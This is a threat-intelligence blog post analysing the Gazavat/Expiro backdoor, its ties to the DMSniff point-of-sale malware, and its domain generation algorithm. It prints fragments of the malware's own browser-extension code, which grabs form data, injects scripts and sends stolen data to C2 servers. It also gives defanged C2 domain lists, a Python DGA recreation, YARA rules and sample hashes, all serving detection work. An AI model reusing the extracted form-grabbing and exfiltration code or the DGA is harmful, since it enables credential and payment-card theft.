Gazavat / Expiro DMSniff connection and DGA analysis

By: Jason Reaves and Joshua Platt

Gazavat, also known at least partially as Expiro, is a multi-functional backdoor that has code overlaps with the POS malware DMSniff[1]. Functionality includes:

  • Loading other executables
  • Load hash cracking plugin
  • Load DMSniff plugin
  • Perform webinjection and webfakes
  • Form grabbing
  • Command execution
  • Download file from infected system
  • Convert infection into proxy
  • DDOS
  • Spreading and EXE infecting

Recovered Gazavat manual:

Technical Overview

Gazavat, along with a few other malware variants over the years, have all been lumped together as a file infector called Expiro by AV companies. This is due to code reuse from the Carberp malware leak[2] being utilized by multiple malware families. Gazavat itself, which is believed to be what AV companies initially referred to as Expiro, is much more complicated than just a simple file infector. First, let’s see the connection to DMSniff, which is how this malware ended up catching my attention: the bot id for Gazavat is passed in the user agent, which is the same method used by DMSniff.

DMSniff:

User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; DSNF_2768=NT6.1.76016.1.7601-C386B17D.ENU.26F427F6-736680-955904-14CC1624=)

Gazavat[3]:

Mozilla/4.0 (compatible; MSIE 33; NT5.1.2600-74952D50.ENU.362235D7-ED9E5B-5D967F-1438147D; .NET CLR 00000000/00000000)

The user agents are strikingly similar in their construction — the similarities do not stop there, though. Taking a look in the binary of Gazavat shows the exact same string encoding routine as DMSniff.

DMSniff sample(7d69e2c4e75c76c201d40dbc04b9f13b2f47bf9667ce3b937dd4b1d31b11a8af) string decryption routine:

Gazavat sample(a3f886db3d2691794e9ec27dca65dcc5d96e6095ec1de5275967a6e6d156d1f7) string decryption routine:

By taking the YARA rule from previous research and broadening it out a bit we are able to find hundreds of samples recently submitted to VirusTotal and begin decoding the strings. Afterwards the various types of functionality available can be discovered.

Cred Harvesting

00sqlite3_open|03sqlite3_free|01sqlite3_close|02sqlite3_exec|
mozsqlite3.dll
mozglue.dll
msvcr100.dll
mozcrt19.dll
FZILLA|ftp://
FileZillasitemanager.xml
INETCOMM Server Passwords
SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2

Proxy UPNP

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:QueryStateVariable xmlns:u="urn:schemas-upnp-org:control-1-0"><u:varName>%s</u:varName></u:QueryStateVariable></s:Body></s:Envelope>
<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:%s xmlns:u="%s">%s</u:%s></s:Body></s:Envelope>
M-SEARCH * HTTP/1.1rnHOST: 239.255.255.250:1900rnMAN: "ssdp:discover"rnMX: 1rnST: urn:schemas-upnp-org:service:%srnrn
POST %s HTTP/1.1rnHOST: %s:%urnCONTENT-LENGTH: %urnCONTENT-TYPE: text/xml; charset="utf-8"rnSOAPACTION: "%s#%s"rnrn%s
<NewRemoteHost></NewRemoteHost><NewExternalPort>%i</NewExternalPort><NewProtocol>%s</NewProtocol><NewInternalPort>%u</NewInternalPort><NewInternalClient>%s</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription></NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration>
schemas-upnp-org:control-1-0

AV Scanning

|wscsvc|WinDefend|MsMpSvc|NisSrv|
Microsoft Security Client
Windows Defender

Dropping Browser Extensions

softwareMozillaMozilla FireFox
rnExtension%u=%s%s
[ExtensionDirs]
.ini
chromecontent.jar
components
chrome
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}
install.rdf
chrome.manifest
chromecontent
componentsred.js
%s%sextensions
%s*
%sMozillaFirefoxProfiles
content.js
manifest.json
background.js
##HOST_ID##
##DOMAIN##
##XERSION##
Extensions
dlddmedljhmbgdhapibnagaanenmajcm
"f (document.location.href=='chrome://tasks/') parent.self.location='chrome://sessions/';n
if (document.location.href=='chrome://extensions-frame/') { window.setInterval(CheckExt,10); };n
function CheckExt(){ var el=document.getElementById('%s'); if (el != null) el.parentNode.removeChild(el); };n

<?xml version="1.0"?>nn<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"n xmlns:em="http://www.mozilla.org/2004/em-rdf#">nn <Description about="urn:mozilla:install-manifest">n <em:id>{ec9032c7-c20a-464f-7b0e-13a3a9e97385}</em:id>n <em:version>1</em:version>n <em:type>2</em:type>n n <!-- Target Application this extension can install into, n with minimum and maximum supported versions. --> n <em:targetApplication>n <Description>n <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>n <em:minVersion>1.5</em:minVersion>n <em:maxVersion
>90.*</em:maxVersion>n </Description>n </em:targetApplication>nn <em:name>.</em:name>n <em:description> </em:description>n <em:creator>Mozilla Foundation</em:creator>n <em:homepageURL>http://www.mozilla.com/</em:homepageURL>n </Description> n</RDF>
contenttsampletjar:chrome/content.jar!/content/n#contenttsampletchrome/content/nnoverlay chrome://browser/content/browser.xul chrome://sample/content/sample.xulnncomponent {e781b0a8-36d6-4510-a9e9-a23234ac7ee5} components/red.jsncontract @merysheep.chlice.qee.jp/redirector;1 {e781b0a8-36d6-4510-a9e9-a23234ac7ee5}ncategory profile-after-change @merysheep.chlice.qee.jp/redirector;1 @merysheep.chlice.qee.jp/redirector;1ncategory content-policy @merysheep.chlice.qee.jp/redirector;1 @merysheep.chlice.qee.jp/redirector;1nn

DGA related

%s%c%c%c%c-%c%c%c%c%c.com
%s%c%c%c%c%c-%c%c%c%c.ru

Webinjects and Webfakes (via browser extension)

beforeEnd
return Ci.nsIContentPolicy.ACCEPT},shouldProcess:function(c,e,a,d,b,f){return Ci.nsIContentPolicy.ACCEPT},classDescription:"msRedirector js component",contractID:"@merysheep.chlice.qee.jp/redirector;1",classID:Components.ID("{e781b0a8-36d6-4510-a9e9-a23234ac7ee5}"),_xpcom_factory:{createInstance:function(b,a){if(b!=null){throw Cr.NS_ERROR_NO_AGGREGATION}if(!gRedirector){gRedirector=new msRedirector()}return gRedirector.QueryInterface(a)}},_xpcom_categories:[{category:"app-startup",service:true}],QueryInterface:XPCOMUtils.generateQI([Ci.nsIObserver,Ci.nsIContentPolicy])};var Base64orig={_keyStr
RL!=l.toreplace){delete d.redirecting}else{return Ci.nsIContentPolicy.ACCEPT}}}try{var n=j.spec.replace(/https?:///,"");var h=l.tofind.exec(n)[0];var m=n.replace(h,l.toreplace);m="http://"+m;var f=(m.indexOf("?")==-1)?"?":"&";m+=f+"hostid="+prefexport.HOSTID;try{m+="&origurl="+Base64orig.encode(j.spec)}catch(i){}d.redirecting={};d.redirecting.originalURL=j.spec;d.redirecting.redirectingURL=m;d.redirecting.aRequestOrigin=c;d.redirecting.fakeURL=l.toreplace;d.redirecting.notfakeURL=h;d.redirecting.https=j.scheme=="https";d.loadURI(m,c,null)}catch(i){}return Ci.nsIContentPolicy.REJECT_REQUEST}
ategoryManager);a.addCategoryEntry("content-policy",this.classDescription,this.contractID,true,true)}catch(b){}},observe:function(c,a,b){switch(a){case"app-startup":this._startup();break;case"profile-after-change":this._startup();break}},shouldLoad:function(b,j,c,a,g,k){if(j.scheme!="http"&&j.scheme!="https"){return nsIContentPolicy.ACCEPT}if(b!=nsIContentPolicy.TYPE_DOCUMENT){return nsIContentPolicy.ACCEPT}if(!a||!a.loadURI){return nsIContentPolicy.ACCEPT}var l=this.FindRedirectSign(j.spec,true);if(l){var d=a;if("redirecting" in d){if("HostUnreachable" in d.redirecting){if(d.redirecting.fakeU
:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)",encode:function(c){var a="";var k,h,f,j,g,e,d;var b=0;c=Base64orig._utf8_encode(c);while(b<c.length){k=c.charCodeAt(b++);h=c.charCodeAt(b++);f=c.charCodeAt(b++);j=k>>2;g=((k&3)<<4)|(h>>4);e=((h&15)<<2)|(f>>6);d=f&63;if(isNaN(h)){e=d=64}else{if(isNaN(f)){d=64}}a=a+this._keyStr.charAt(j)+this._keyStr.charAt(g)+this._keyStr.charAt(e)+this._keyStr.charAt(d)}return a},_utf8_encode:function(b){b=b.replace(/rn/g,"n");var a="";for(var e=0;e<b.length;e++){var d=b.charCodeAt(e);if(d<128){a+=String.fromCharCode(d)}else{if((d>127)&&(d
const Ci=Components.interfaces;const Cc=Components.classes;const Cr=Components.results;const Cu=Components.utils;const mo="@mozilla.org/";Cu["import"]("resource://gre/modules/XPCOMUtils.jsm");var prefexport={HOSTID:"##HOST_ID##",VERSION:"##VERSION##",SERVERLIST:"##DOMAIN##"};const nsIContentPolicy=Ci.nsIContentPolicy;var Application=Cc[mo+"fuel/application;1"].getService(Ci.fuelIApplication);var gRedirector=null;function msRedirector(){this.wrappedJSObject=this}msRedirector.prototype={RedirectList:false,core:null,hello:function(){return"Hello from ch XPCOM!"},getpref:function(a){try{return pre
fexport[a]}catch(b){}},FindRedirectSign:function(b,a){if(!this.RedirectList){return false}for(var c=0;c<this.RedirectList.length;c++){var d=this.RedirectList[c];if(b.search((a)?d.tofind:d.toreplace)!=-1){break}}if(c!=this.RedirectList.length){return this.RedirectList[c]}else{return false}},addlog:function(a){},makeURI:function(d,c,a){var b=Cc[mo+"network/io-service;1"].getService(Ci.nsIIOService);return b.newURI(d,c,a)},_startup:function(){this.cout=Cc[mo+"consoleservice;1"].getService(Ci.nsIConsoleService);try{this.cout.reset()}catch(b){}try{var a=Cc[mo+"categorymanager;1"].getService(Ci.nsIC
<2048)){a+=String.fromCharCode((d>>6)|192);a+=String.fromCharCode((d&63)|128)}else{a+=String.fromCharCode((d>>12)|224);a+=String.fromCharCode(((d>>6)&63)|128);a+=String.fromCharCode((d&63)|128)}}}return a}};if(XPCOMUtils.generateNSGetFactory){var NSGetFactory=XPCOMUtils.generateNSGetFactory([msRedirector])}else{var NSGetModule=XPCOMUtils.generateNSGetModule([msRedirector])};

},rn "incognito": true,rn "install_time": "12991426726872000",rn "location": 1,rn "manifest": {rn "background": {rn "scripts": [ "background.js" ]rn },rn "description": "Copyright (c) 2011 The Chromium Authors. All rights reserved.",rn "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCZHrDqCq2Qtjdkvs6ktcZkj1mzQUOz0WdjfiaSZuU0eo3bJS6pf6XMvNUX3tUxOGCv0QtjwYSgK6K8HIQoOFzUWRuLGpGVSIlLfMPqwrmaL24qVCyNCNphbrc4EOfsmTd1Vq/hO9xSjHfSjYhAdjQvNJuAd0Upe0z40LzCrgLsHQIDAQAB",rn
// Copyright (c) 2011 The Chromium Authors. All rights reserved.rn// Use of this source code is governed by a BSD-style license that can bern// found in the LICENSE file.rneval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('1 f=h.l("x");9 k(c){1 b=c.l("V");1 d="";8(1 a=0;a<b.7;a++){3(b.4=="U"){5}3(b.4=="T"){5}3(b.4=="q"){5}3
rl=="chrome://cache/"){chrome.tabs.update(a,{url:"chrome://predictors/"})}if(b.url=="chrome://net-internals/"){chrome.tabs.update(a,{url:"chrome://downloads/"})}if(b.url=="chrome://dns/"){chrome.tabs.update(a,{url:"chrome://downloads/"})}if(b.url=="chrome://about/"){chrome.tabs.update(a,{url:"chrome://chrome/"})}if(b.url=="chrome://inspect/"){chrome.tabs.update(a,{url:"chrome://ipc/"})}if(b.url=="chrome://tasks/"){chrome.tabs.update(a,{url:"chrome://sessions/"})}if(b.url=="chrome://chrome-urls/"){chrome.tabs.update(a,{url:"chrome://chrome/history/"})}});
"manifest_version": 2,rn "name": "Google Chrome",rn "permissions": [ "tabs", "http://*/*", "https://*/*", "webNavigation", "webRequest", "storage" ],rn "version": "1.0"rn },rn "path": "dlddmedljhmbgdhapibnagaanenmajcm\1.0_0",rn "state": 1rn },rn
ion|subm|submit|||substring|userAgent|navigator|this|form|value|blank|true|addEventListener|greeting|sendMessage|extension|chrome|CHROME|href|location|Chrom|return|FORM|replace|textContent|else|checked|checkbox|radio|button|reset|image|input'.split('|'),0,{}))rnrn
(b.4=="S"){5}d+=a+":"+b[a].4+":"+((b[a].6=="")?"<z>:":b[a].6)+":";3((b[a].4=="R")||(b[a].4=="Q")){d+=b[a].P}O{d+=(b[a].y=="")?"<z>":b[a].y}d+=" "}1 e=c.N.M(/\s{2,}|[\f\r\n]/g,"|");d="<L"+((c.o)?(" o="+c.o):"")+((c.m)?(" m="+c.m):"")+((c.6)?(" 6="+c.6):"")+"> "+d+e;K d}9 p(){1 c=k(w);1 b=h.l("x");8(i=0;i<b.7;i++){3(b[i]==w){5}c+=k(b[i])}1 a=v.u.t(v.u.j("J"));3(a.j(" ")>0){a=a.t(0,a.j(" "))}c=h.I.H+" #G#"+a+"# "+c+"#;";F.E.D({C:c},9(d){})}8(i=0;i<f.7;i++){f[i].B("q",p,A)};',58,58,'|var||if|type|continue|name|length|for|function||||||||document||indexOf|ParseForm|getElementsByTagName|id||act
rn "dlddmedljhmbgdhapibnagaanenmajcm": {rn "active_permissions": {rn "api": [ "storage", "tabs", "webNavigation", "webRequest", "webRequestInternal" ],rn "explicit_host": [ "http://*/*", "https://*/*" ]rn },rn "events": [ "runtime.onInstalled" ],rn "from_bookmark": false,rn "from_webstore": false,rn "granted_permissions": {rn "api": [ "storage", "tabs", "webNavigation", "webRequest", "webRequestInternal" ],rn "explicit_host": [ "http://*/*", "https://*/*" ]rn

tener("error",function(f){onErrorAbortImage(f)},true);a.addEventListener("abort",function(f){onErrorAbortImage(f)},true)}function SendData(){if(SRV==""){return}for(var a=0;a<MAX;a++){if(!BUF[a]){continue}InsertImg(document,a)}}function Completed(b){if(b.url.substring(0,4)!=="http"){return}for(var a=0;a<TOT_INJ;a++){if(b.url.match(INJURL[a])){console.log("*** MATCH! EXECUTING JS: "+INJECT[a]);chrome.tabs.executeScript(b.tabId,{code:INJECT[a],allFrames:true})}}if(b.frameId!=0){return}chrome.tabs.executeScript(b.tabId,{file:"content.js",allFrames:true});SendData()}function SaveLog(b){for(var a=0;
ld(a);delete BUF[b]}function onErrorAbortImage(b){var a=b.target;a.parentNode.removeChild(a)}function InsertImg(d,c){if(SRV==""){return}var e=document.getElementById("sdimg_"+c);if(e!=null){return}var b="http://"+SRV+"/?h="+HID+"&i="+c+IDS+"&o=0&f=*&si=x&so=0&tl="+BUF[c].length+"&v="+VER+"&d="+Base64crypt(BUF[c]);var a=d.createElement("img");a.setAttribute("id","sdimg_"+c);a.setAttribute("border","0");a.setAttribute("width","0");a.setAttribute("height","0");a.setAttribute("src",b);d.body.insertBefore(a,d.body.firstChild);a.addEventListener("load",function(f){onLoadImage(f)},true);a.addEventLis
ction Base64_encode(d){var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)";var a="";var l,j,g,k,h,f,e;var b=0;while(b<d.length){l=d[b++];j=d[b++];g=d[b++];k=l>>2;h=((l&3)<<4)|(j>>4);f=((j&15)<<2)|(g>>6);e=g&63;if(isNaN(j)){f=e=64}else{if(isNaN(g)){e=64}}a=a+c.charAt(k)+c.charAt(h)+c.charAt(f)+c.charAt(e)}return a}function Base64crypt(b){var a=new Array(b.length);for(var c=0;c<b.length;c++){a[c]=b.charCodeAt(c)+c*c;a[c]=a[c]%256}b=Base64_encode(a);delete a;return b}function onLoadImage(c){var a=c.target;var d=a.getAttribute("id");var b=d.substring(6);a.parentNode.removeChi
{rn "name": "Google Chrome",rn "version": "1.0",rn "background": { "scripts": ["background.js"] },rn "manifest_version": 2,rn "description": "Copyright (c) 2011 The Chromium Authors. All rights reserved.",rn "permissions": [rn "tabs", "http://*/*", "https://*/*", "webNavigation", "webRequest", "storage"rn ]rn}
[5]!="a")){return}var d=/;(S*)/.exec(b);ParseInjects(d[1]);chrome.storage.local.set({INJ_BLOCK:d[1]})}function iTimer(){if(SRV==""){return}var a=new XMLHttpRequest();a.onreadystatechange=function(){iXHRstateChange(a)};a.open("GET","http://"+SRV+"/?jc=x&h="+HID,true);a.overrideMimeType("text/plain; charset=x-user-defined");a.send(null)}IDS=randomString();function get_srv(a){if(typeof(a.SRV_SIND)=="undefined"){return}SRV=SARR[a.SRV_SIND]}function get_inj(a){if(typeof(a.INJ_BLOCK)=="undefined"){return}ParseInjects(a.INJ_BLOCK)}chrome.storage.local.get("SRV_SIND",get_srv);chrome.storage.local.get
a<MAX;a++){if(BUF[a]){continue}BUF[a]=b;InsertImg(document,a);return}}function BefSendHead(e){if(e.tabId<0){return}var c="";for(var a=0;a<e.requestHeaders.length;a++){if(e.requestHeaders[a].name==="Origin"){continue}if(e.requestHeaders[a].name==="Accept"){continue}if(e.requestHeaders[a].name==="Content-Type"){continue}if(e.requestHeaders[a].name==="Accept-Encoding"){continue}c+=" "+a+":"+e.requestHeaders[a].name+":"+e.requestHeaders[a].value}var b=e.url+" #"+e.type+"#"+e.method+"# "+c;SaveLog(b)}function onMsg(c,b,a){SaveLog(c.greeting);a({})}function XHRstateChange(c){if(c.readyState!=4){retu
// Copyright (c) 2011 The Chromium Authors. All rights reserved.rn// Use of this source code is governed by a BSD-style license that can bern// found in the LICENSE file.rnvar MAX=40;var BUF=new Array(MAX);var IDS="";var HID="##HOST_ID##";var VER="##VERSION##";var SLST="##DOMAIN##";var SINT=120000;var SRV="";var SIND=0;var SARR=SLST.split("#");var MAX_INJ=100;var TOT_INJ=0;var INJECT=new Array(MAX_INJ);var INJURL=new Array(MAX_INJ);function randomString(){var c="abcdefghiklmnopqrstuvwxyz";var d="";for(var b=0;b<10;b++){var a=Math.floor(Math.random()*c.length);d+=c.substring(a,a+1)}return d}fun
e);d++}else{if((e>191)&&(e<224)){c2=a.charCodeAt(d+1);b+=String.fromCharCode(((e&31)<<6)|(c2&63));d+=2}else{c2=a.charCodeAt(d+1);c3=a.charCodeAt(d+2);b+=String.fromCharCode(((e&15)<<12)|((c2&63)<<6)|(c3&63));d+=3}}}return b}function Base64v2_decode(d){var c="hijklmnoNOVWXYZ012wxyzABLMGHIJK3456789CDEFpqrsabcdefgtuvPQRSTU+/=";var a="";var l,j,g;var k,h,f,e;var b=0;d=d.replace(/[^A-Za-z0-9+/=]/g,"");while(b<d.length){k=c.indexOf(d.charAt(b++));h=c.indexOf(d.charAt(b++));f=c.indexOf(d.charAt(b++));e=c.indexOf(d.charAt(b++));l=(k<<2)|(h>>4);j=((h&15)<<4)|(f>>2);g=((f&3)<<6)|e;a=a+String.fromChar
rn}var b=0;if(c.status==200){var a=c.responseText;if((a[42]==";")&&(a[0]=="G")&&(a[1]=="I")&&(a[2]=="F")&&(a[3]=="8")&&(a[4]=="9")&&(a[5]=="a")){b=1}}if(b==1){SRV=SARR[SIND];chrome.storage.local.set({SRV_SIND:SIND})}SIND++;if(SIND>=SARR.length){SIND=0}}function sTimer(){var a=new XMLHttpRequest();a.onreadystatechange=function(){XHRstateChange(a)};a.open("GET","http://"+SARR[SIND]+"/?f=*",true);a.overrideMimeType("text/plain; charset=x-user-defined");a.send(null)}function Base64v2_utf8_decode(a){var b="";var d=0;var e=c1=c2=0;while(d<a.length){e=a.charCodeAt(d);if(e<128){b+=String.fromCharCode(
("INJ_BLOCK",get_inj);chrome.extension.onMessage.addListener(onMsg);chrome.webNavigation.onCompleted.addListener(Completed);chrome.webRequest.onBeforeSendHeaders.addListener(BefSendHead,{urls:["http://*/*","https://*/*"],types:["xmlhttprequest"]},["requestHeaders"]);window.setInterval(sTimer,SINT);window.setInterval(iTimer,SINT+1000);chrome.tabs.onUpdated.addListener(function(a,b){if(b.status!="loading"){return}if(b.url=="chrome://memory-redirect/"){chrome.tabs.update(a,{url:"chrome://conflicts/"})}if(b.url=="chrome://view-http-cache/"){chrome.tabs.update(a,{url:"chrome://predictors/"})}if(b.u
Code(l);if(f!=64){a=a+String.fromCharCode(j)}if(e!=64){a=a+String.fromCharCode(g)}}a=Base64v2_utf8_decode(a);return a}function ParseInjects(d){var a=Base64v2_decode(d);var f=new Array();f=a.split("|$");var c=new Array();var e=1;TOT_INJ=f.length-1;for(e;e<f.length;e++){var b=f[e].substr(0,f[e].length-2);c=b.split("|^");INJURL[e-1]=c[0];INJECT[e-1]=c[1].replace("_HOSTID_",HID)}INJURL[e-1]=false}function iXHRstateChange(a){if(a.readyState!=4){return}if(a.status!=200){return}var b=a.responseText;if(b==null){return}if((b[42]!=";")||(b[0]!="G")||(b[1]!="I")||(b[2]!="F")||(b[3]!="8")||(b[4]!="9")||(b

Card related

VISA
MasterCard
Unable to authorize.n%s processing center is unable to authorize your card %s.nMake corrections and try again.
Unable to authorize
)=====rnrn
rnrn=====[

The samples also come with an encoded list of C2 domains. In the event that the binary is built to perform webinjection attacks, a second list will also be on board that will be utilized by the browser extension as mentioned in previous work[3].

Decoded C2 list example:

vietwarok[.]in#fari-khan[.]in#oldlexus-sales[.]in#viewofpakiwar[.]in#prom-zonaars[.]ru#avchecpk[.]ru#mkz-coffestories[.]cc#farikez1945[.]in#mkz-coffestories[.]cc#av17-checkx[.]biz#www[.]mahmudz-test2[.]biz#avgaysociety1[.]org#navirmapsshop[.]ru#avch-eck[.]biz#www[.]kasperskyanalsuccess2[.]com#directconnectionx[.]ws#xcashinout[.]cc#directconnectiony[.]ws#avgaysociety2[.]org#avchunckb[.]biz#avcheck-2013[.]biz#kasperskyanalsuccess3[.]com#avlzcheck[.]ru#avgaysociety3[.]org#www[.]indirs-lockit[.]ws#prom-zonaar[.]ru#prom-zonaar[.]ru#avgaysociety4[.]org#prom-zonaar[.]ru#navirmapsshop[.]ru#prom-zonaar[.]ru#avgaysociety5[.]org#avgaysociety6[.]org#vietnavyrulez[.]in#avgaysociety7[.]org#prom-zonaar[.]ru#indirs-lockit[.]ws#navirmapsshop[.]ru#www[.]avgaysociety8[.]org#indirs-lockit[.]ws#viri-avtestar2[.]com#navirmapsshop[.]ru#www[.]avgaysociety9[.]org#prom-zonaar[.]ru#navirmapsshop[.]ru#avgaysociety10[.]org#kasperskyanalsuccess0[.]com#avgaysociety11[.]org#www1[.]hsbc[.]ca#kgbrelaxxlub[.]ru#oldlexalsolex[.]in#kidos-bank[.]ru#mkz-coffestories[.]cc#avgaysociety12[.]org#navirmapsshop[.]ru#kasperskyanalsuccess5[.]com#navirmapsshop[.]ru#www[.]avgaysociety15[.]org#zxspectrum4ever[.]in#www[.]indirs-lockit[.]ws#kasperskyanalsuccess6[.]com#oil-warlords[.]in#indir-connectx[.]ws#navirmapsshop[.]ru#avgaysocietya[.]org#grewz-platker[.]ru#indirs-lockit[.]ws#

Decoded list for the browser extension traffic:

systemtime[.]ru#systemsync[.]ru#altruist[.]pro#uni-link[.]in#fedlaw-gosdep[.]ru#save-galapagos-turtles[.]biz#bear-wagejhunt[.]ru#govt-comission2011[.]ru#maha-krishna-ashram[.]in#gunshop-allaimz[.]net#karapauk2012[.]com#navozfromvedeno[.]ru#msmainofc-here[.]biz#las-conejitas-nuevo[.]cc#dastar-khan[.]cc#applesuicideplan[.]ws#makaron-po-flotski[.]su

DGA

As was previously mentioned some strings are related to a DGA, the DGA is different from DMSniff — but it’s also much more obfuscated in the binaries we reverse-engineered. It’s worth mentioning that this malware has been around for a long time, so there are likely more variants than what have been found so far. The biggest difference in the algorithm is the usage of a hardcoded string which, in the samples analyzed, was all a single character and the structure of the domain in the strings:

%s%c%c%c%c-%c%c%c%c%c.com
%s%c%c%c%c%c-%c%c%c%c.ru

The algorithm creates 9 char values which will be a mix of vowels and consonants, along with the hardcoded piece that was all a single char value stored as a C-style string.

There are two functions used to pick the chars, which have remained static in the samples found — one for picking a vowel and one for picking a consonant:

Python versions:

def rand_vowel_char(a):
val = int((a & 0xff)/0x2b) & 0xff
if val == 4:
return(chr(111))
if val == 5:
return(chr(97))
if val == 3:
return(chr(105))
if val == 2:
return(chr(117))
if val == 0:
return(chr(101))
result = chr(val)
if val == 1:
return(chr(121))
return(result)

def rand_const_char(a):
val = int((a & 0xff) / 0xa + 97) & 0xff
if val in [121,111,101,117,97, 106, 105]:
val += 1
return chr(val)

Below are two examples of the DGA algorithm where it can see the general flow remains the same, but there are some obfuscation additions that change between samples:

After getting through the obfuscation, a recreation of the algorithm in python can be seen below:

def dga(a):
hc_char = chr(102)
t1 = 9 * int((a+1)/256) + 31
t2 = 7 * 3 + 17 * int((a + 1)/256)
t3 = 11 * 3 + 23 * int((a+1) / 0x10000)
v1 = rand_const_char(t1 * (a+1))
v2 = rand_vowel_char(12 * (a+1))
v3 = rand_const_char(t2 * (a+1))
v4 = rand_vowel_char(113 * (a+1))
v5 = rand_const_char(a+1)
v6 = rand_vowel_char(47 * (a+1))
v7 = rand_const_char(t3 * (a+1))
v8 = rand_vowel_char(73 * (a+1))
v9 = rand_const_char(67 * (a+1))
tld = ''
if(2 * (ord(v17) >> 1)) == ord(v17):
tld = '.ru'
dom = hc_char+v1+v2+v3+v4+v5+'-'+v6+v7+v8+v9+tld
else:
tld = '.com'
dom = hc_char+v1+v2+v3+v4+'-'+v5+v6+v7+v8+v9+tld
return(dom)

YARA

rule gaza_dga
{
strings:
$a1 = {0f b6 ?? ?? b9 2b 00 00 00 ba 83 be a0 2f f7 e2 c1 ?? 03}
$const1 = {0f b6 ?? ?? b9 0a 00 00 00 ba cd cc cc cc f7 e2 c1 ?? 03}
condition:
all of them
}

rule gazavat_broad_hunting
{
strings:
$a1 = {b9 ?? 00 00 00 [1-2] f7 ?? 0f b6}
$a2 = {31 d? 89 ?? 8? [1-8] 0f b? ?? ?? 0f b? ?? ?? 3? d?}
condition:
all of them
}

Samples

DMSniff

7d69e2c4e75c76c201d40dbc04b9f13b2f47bf9667ce3b937dd4b1d31b11a8af

Gazavat

a3f886db3d2691794e9ec27dca65dcc5d96e6095ec1de5275967a6e6d156d1f7
08c656125a3c1abdb74ede3712aecca1a5e4a48984cae78aa60cb833f7231295
050ad1608dca7a938203d185ecfb1ecc69b3e8501129327264d5bc4b67eacff3
0a6cb9adcc23cb33b87689d2c328b742952e8e50c547380cfefe087c055af652
0df600d642caf0969134605d010942b4394843054f37c063621c60508a93c9c0
10f47f9f2fc3d3e46fbbaed21a6298b0d3882faa6a2de5fbb99094c6513ec392
17e81becddbac84bb2fa9412ae11d6b066945ca85ef1a77c51e688bcf42f59b8
23ef8ce504d5430d543509adeccb3f218aed56f5444aeecdc7d115b96e4b2373
36ab0415049c5d8c9eb5721ad0c1d941976ff905a824609007e6c4c086e9aa6e
38223ad3f30e8cdb0602e3f818e80ca936e15e4bd3bc427aff2ab1f91bb2fe46
6da2602e7a95012a258b205c7f44bee5a964a938876509a09b7b01ce92fad764
81a977f7b415480f01a2d44340be4cc35fe8868e7fa699a305b2dcc312c33dd8
84636c0500d344a0c40252381521bf8adf9e2829326aec06892a36f10079a6f5
85cb5eadfbc883448bfde48713f9b1dea9e731b6537361ea1f3d807123af982b
85cc3d2f8b6a40ccdf446ad77fcf3681403ac5dc633b1baa1297581118f5160d
d0405857330b188e808002c6ba457a858ab1a6d6bdef71831be4195db04d5c1d
d200e0227bbea44646dcc41bcbb7d3bba5e7fa9cdc63dbeaaa99389d3e54c945

1d7c5347aa687da9da8c329811392faafd76aa3ddbd77b7774470d7f8ba094d9
0d7aba6c6c88372928daf3b43323a70324515d1791785d10e1798e105185144c

Mutex

gazavat-svc
kkq-vx

Browser Extensions

mdgkfajodaliacghnafobjnclblcfmlm
dlddmedljhmbgdhapibnagaanenmajcm
1.0_0background.js
1.0_0content.js
1.0_0manifest.json
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}chrome.manifest
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}chromecontent.jar
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}componentsred.js
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}install.rdf

References

1: https://flashpoint.io/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/

2: https://github.com/m0n0ph1/malware-1/blob/master/Carberp%20Botnet/source%20-%20absource/pro/all%20source/Worm/Black_JW/kkqvx.h

3: https://stopmalvertising.com/malware-reports/abuse-teams-targeted-by-expiro-analysis.html

4: https://malware447.rssing.com/chan-6195220/all_p2.html

Source: https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d